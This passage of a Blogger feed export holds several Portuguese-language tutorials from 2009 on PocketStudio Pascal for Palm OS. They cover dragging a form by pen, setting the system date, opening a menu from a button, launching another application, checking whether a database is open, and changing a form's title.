/&gt;&lt;br /&gt;FrmGetWindowHandle(Frm);&lt;br /&gt;function FrmGetWindowHandle(const formP: FormPtr): WinHandle; external sysTrapFrmGetWindowHandle;&lt;br /&gt;&lt;br /&gt;FrmGetFormBounds&lt;br /&gt;procedure FrmGetFormBounds(const formP: FormPtr; var rP: RectangleType); external sysTrapFrmGetFormBounds;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;FrmDrawForm(Frm);&lt;br /&gt;procedure FrmDrawForm(formP: FormPtr); external sysTrapFrmDrawForm;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;e no arquivo &lt;span style="font-weight:bold;"&gt;PalmOS/Window.pas&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;WinSetBounds(Wnd, rp);&lt;br /&gt;procedure WinSetBounds(winHandle: WinHandle; {const} var rP: RectangleType); external sysTrapWinSetBounds;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;o código para movimentação do form é bem simples. Criar as variável privadas que irão armazenar o ponto de toque.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;var&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; posX: int16;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; posY: int16;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;No evento PenDown do form, o código&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;procedure Form1PenDown(X, Y: Int16);&lt;br /&gt;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;posX:=X;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;posY:=Y;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;PSApplication.Handled := False; // leave event unhandled&lt;br /&gt;end;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Obs.: o form não pode ser desenhado em posição negativa, ou seja o canto superior direito não pode estar acima da posição 0 e também não pode estar mais a esquerda do que a posição 0.&lt;br /&gt;&lt;br /&gt;Sendo assim, o codigo do evento PenMove ficará&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;procedure Form1PenMove(X, Y: Int16);&lt;br /&gt;var&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; DifX: integer;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; DifY: integer;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Frm: FormPtr;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Wnd: WinHandle;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; rp: RectangleType;&lt;br /&gt;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if PenDown then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DifX := X - posX;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DifY := Y - posY;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//Pega o form ativo&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Frm := FrmGetActiveForm;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//Pega o Handle do form ativo&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Wnd := FrmGetWindowHandle(Frm);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//Pega os valores de grafico do form&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FrmGetFormBounds(Frm, rp);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//garante que o calculo de quanto se movel a caneta não será inferior a 0, o que causaria um erro&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;posX := rp.TopLeft.x + DifX;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if posX &lt; 0 then posX := 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;posY := rp.TopLeft.y + DifY;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if posY &lt; 0 then posY := 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//Repondo os valores corretos&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rp.TopLeft.x := posX;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rp.TopLeft.y := posY;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//setando os novos valores do form&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WinSetBounds(Wnd, rp);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//redesenhando o Form&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FrmDrawForm(Frm);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; end;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; posX := X;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; posY := Y;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;PSApplication.Handled := False; // leave event unhandled&lt;br /&gt;end;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-7028009425983495530?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/7028009425983495530/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/05/movimentando-o-form.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/7028009425983495530'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/7028009425983495530'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/05/movimentando-o-form.html' title='Movimentando o Form'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-4590750576738610334</id><published>2009-05-05T15:59:00.000-07:00</published><updated>2009-05-05T16:04:32.505-07:00</updated><title type='text'>Alterando a data via código</title><content type='html'>&lt;br&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=a9b3b5c3" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Os funções para manipulação de data e hora no Pocketstudio são encontradas no arquivo &lt;span style="font-weight:bold;"&gt;PalmOS/DateTime.pas&lt;/span&gt;. Nós iremos usar o tipo &lt;span style="font-weight:bold;"&gt;DateTimeType&lt;/span&gt; e a função &lt;span style="font-weight:bold;"&gt;TimDateTimeToSeconds&lt;/span&gt; que recebe como parâmetro um ponteiro para o tipo &lt;span style="font-weight:bold;"&gt;DateTimeType&lt;/span&gt;. &lt;br /&gt;&lt;br /&gt;O tipo &lt;span style="font-weight:bold;"&gt;DateTimeType&lt;/span&gt; é:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;DateTimeType = record&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;second: Int16;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;minute: Int16;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;hour: Int16;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;day: Int16;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;month: Int16;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;year: Int16;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;weekDay: Int16; // Days since Sunday (0 to 6)&lt;br /&gt;end;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A função &lt;span style="font-weight:bold;"&gt;TimDateTimeToSeconds&lt;/span&gt; é declarada:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;function TimDateTimeToSeconds(dateTimeP: DateTimePtr): UInt32; external sysTrapTimDateTimeToSeconds;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;De posse dessas informações, basta incluir o código abaixo no evento que fará a alteração da hora. No exemplo abaixo são utilizados valores fixos.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;var&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;DtHo: DateTimeType;&lt;br /&gt;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;DtHo.Day := 4;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;DtHo.Month := 5;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;DtHo.Year := 2009;&amp;nbsp;&amp;nbsp;&amp;nbsp;DtHo.Hour := 20;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;DtHo.Minute := 15;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;DtHo.Second := 34;&lt;br /&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;//Como nossa variável não é um ponteiro e a função requer um ponteiro&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;//passaremos o endereço da variável.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;TimSetSeconds(TimDateTimeToSeconds(@DtHo));&lt;br /&gt;end;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-4590750576738610334?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/4590750576738610334/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/05/alterando-data-via-codigo.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/4590750576738610334'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/4590750576738610334'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/05/alterando-data-via-codigo.html' title='Alterando a data via código'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-5475662590821073991</id><published>2009-05-04T11:48:00.000-07:00</published><updated>2009-05-04T13:42:32.173-07:00</updated><title type='text'>Acionar o menu via código</title><content type='html'>&lt;br&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=4b2afd98" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;No Palm, para acessar o menu é necessário clicar na barra de título, porém, pode ser que seu form não tenha barra de título, você não quis, sendo assim ele ocupa toda a área da tela.&lt;br /&gt;&lt;br /&gt;Então, vou postar aqui uma forma de chamar o menu atravez de um botão.&lt;br /&gt;&lt;br /&gt;O menu tem que estar criado normalmente no Resources e associado ao Form.&lt;br /&gt;&lt;br /&gt;Para chamar o Menu, nós iremos usar as rotinas abaixo, ambas se encontram no arquivo &lt;span style="font-weight:bold;"&gt;PalmOS/Menu_.pas&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;MenuInit&lt;/span&gt; - sua declaração é &lt;span style="font-weight:bold;"&gt;MenuInit(resourceId: UInt16): MenuBarPtr; external sysTrapMenuInit;&lt;/span&gt; Ela retorna o ponteriro para o menu referente ao resourceId passado como parâmetro.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;MenuSetActiveMenu&lt;/span&gt; - sua declaração é &lt;span style="font-weight:bold;"&gt;function MenuSetActiveMenu(menuP: MenuBarPtr): MenuBarPtr; external sysTrapMenuSetActiveMenu;&lt;/span&gt; Ela ativa o Menu passado como ponteiro no parâmetro.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;MenuGetActiveMenu&lt;/span&gt; - declaração &lt;span style="font-weight:bold;"&gt;function MenuGetActiveMenu: MenuBarPtr; external sysTrapMenuGetActiveMenu;&lt;/span&gt; Retorna um ponteiro referente ao menu ativo.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;MenuDrawMenu&lt;/span&gt; - declaração &lt;span style="font-weight:bold;"&gt;procedure MenuDrawMenu(menuP: MenuBarPtr); external sysTrapMenuDrawMenu;&lt;/span&gt; Desenha na tela o menu passado como parâmetro em forma de ponteiro.&lt;br /&gt;&lt;br /&gt;Entã, para chamar o menu basta incluir o código abaixo.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;MenuSetActiveMenu(MenuInit(Menu1));&lt;br /&gt;MenuDrawMenu(MenuGetActiveMenu);&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;uma outra forma seria guardar o ponterio do menu que foi ativado, assim não precisaremos usar a função &lt;span style="font-weight:bold;"&gt;MenuGetActiveMenu&lt;/span&gt;, pois já temos o ponteiro para o menu.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;var&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;MenuP: MenuBarPtr;&lt;br /&gt;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;MenuP := MenuInit(Menu1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;MenuSetActiveMenu(MenuP);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;MenuDrawMenu(MenuP);&lt;br /&gt;end;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-5475662590821073991?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/5475662590821073991/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/05/acionar-o-menu-via-codigo.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/5475662590821073991'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/5475662590821073991'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/05/acionar-o-menu-via-codigo.html' title='Acionar o menu via código'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-1213378822172488769</id><published>2009-04-30T16:39:00.000-07:00</published><updated>2009-05-04T10:43:20.176-07:00</updated><title type='text'>Como chamar outra aplicação</title><content type='html'>&lt;br&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=f5b5f3c5" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;No Pocketstudio é possível chamar outra aplicação de dentro da sua, porém o palm não tem o mesmo conceito do windows de passear pelas aplicações mantendo-as abertas, sendo assim, você não poderá voltar a sua aplicação. Para isso, você terá que fechar a aplicação que foi aberta e iniciar a sua aplicação normalmente.&lt;br /&gt;&lt;br /&gt;Para executarmos uma aplicação, precisaremos de duas funções:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;DmFindDatabase&lt;/span&gt; - que se encontra dentro do arquivo &lt;span style="font-weight:bold;"&gt;PalmOS/DataMgr.pas&lt;/span&gt; ou seja na &lt;span style="font-weight:bold;"&gt;Unit DataMgr&lt;/span&gt;. Sua declaração é &lt;span style="font-weight:bold;"&gt;function DmFindDatabase(cardNo: UInt16; const nameP: PChar): LocalID; external sysTrapDmFindDatabase;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Essa função será responsável por localizar a aplicação pelo nome e nos retornar o dbID que será usado para executar a aplicação.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;SysUIAppSwitch&lt;/span&gt; - que se encotra dentro do arquivo &lt;span style="font-weight:bold;"&gt;PalmOS/SystemMgr.pas&lt;/span&gt; ou seja &lt;span style="font-weight:bold;"&gt;Unit SystemMgr&lt;/span&gt;. Sua declaração é &lt;span style="font-weight:bold;"&gt;function SysUIAppSwitch(cardNo: UInt16; dbID: LocalID; cmd: UInt16; cmdPBP: MemPtr): Err; external sysTrapSysUIAppSwitch;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Essa fução será responsável pela execução da aplicação, de que passemos o dbID da aplicação desejada.&lt;br /&gt;&lt;br /&gt;Então, a função para executar uma aplicação no Palm ficaria:&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;function exec (nameP: PChar): UInt16;&lt;br /&gt;var&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;dbID: LocalID;&lt;br /&gt;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;dbID := DmFindDatabase(0, nameP);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;result := SysUIAppSwitch(0, dbID, sysAppLaunchCmdNormalLaunch, nil);&lt;br /&gt;end;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Se a função não tiver sucesso na execução, ela retornará o número do erro, caso tenha sucesso retornará 0, mas não servirá pois a aplicação principal será fechada.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-1213378822172488769?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/1213378822172488769/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/04/como-chamar-outra-aplicacao.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/1213378822172488769'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/1213378822172488769'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/04/como-chamar-outra-aplicacao.html' title='Como chamar outra aplicação'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-3163086583056614533</id><published>2009-04-30T16:13:00.000-07:00</published><updated>2009-05-04T10:42:29.297-07:00</updated><title type='text'>Como saber se um PDB está aberto</title><content type='html'>&lt;br&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=21e175e9" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;A função DmOpenDatabaseInfo retorna informações de uma base de dados aberta. Se a base de dados não estiver aberta, ela retorna um erro.&lt;br /&gt;&lt;br /&gt;A função encontrasse dentro de &lt;span style="font-weight:bold;"&gt;PalmOS/DataMgr.pas&lt;/span&gt; ou seja na &lt;span style="font-weight:bold;"&gt;Unit DataMgr&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Sua declaração é:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;function DmOpenDatabaseInfo(dbP: DmOpenRef; var dbIDP: LocalID; var openCountP, modeP, cardNoP: UInt16; var resDBP: Boolean): Err; external sysTrapDmOpenDatabaseInfo;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Logo a função seria:&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;function DBIsOpen (dbP: DmOpenRef): boolean;&lt;br /&gt;var&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;d: LocalID;&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;o, m, c: UInt16;&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;r: Boolean&lt;br /&gt;begin&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;result := (dmOpenDatabaseInfo(dbP, d, o, m, c, r) = 0) &lt;br /&gt;end;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-3163086583056614533?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/3163086583056614533/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/04/como-saber-se-um-pdb-esta-aberto.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/3163086583056614533'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/3163086583056614533'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/04/como-saber-se-um-pdb-esta-aberto.html' title='Como saber se um PDB está aberto'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-989581984420863470</id><published>2009-04-30T15:47:00.000-07:00</published><updated>2009-05-04T10:41:02.979-07:00</updated><title type='text'>Mudando o título do form em tempo de execução</title><content type='html'>&lt;br&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=30d6ae9b" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Para mudar o Title do form em tempo de execução no PocketStudio (Palm) basta usar a função FrmSetTitle da API do Palm OS.&lt;br /&gt;Essa função encontra-se em PSL/PSForm.pas ou seja na &lt;span style="font-weight:bold;"&gt;unit PSForm&lt;/span&gt; e tem declaração &lt;span style="font-weight:bold;"&gt;FrmSetTitle(FrmGetActiveForm, Title);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Logo é só usar&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;PSForm.FrmSetTitle(Form, 'Novo Título');&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-989581984420863470?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/989581984420863470/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/04/mudando-o-titulo-do-form-em-tempo-de.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/989581984420863470'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/989581984420863470'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/04/mudando-o-titulo-do-form-em-tempo-de.html' title='Mudando o título do form em tempo de execução'/><author><name>Geraldo José Ferraira Chagas 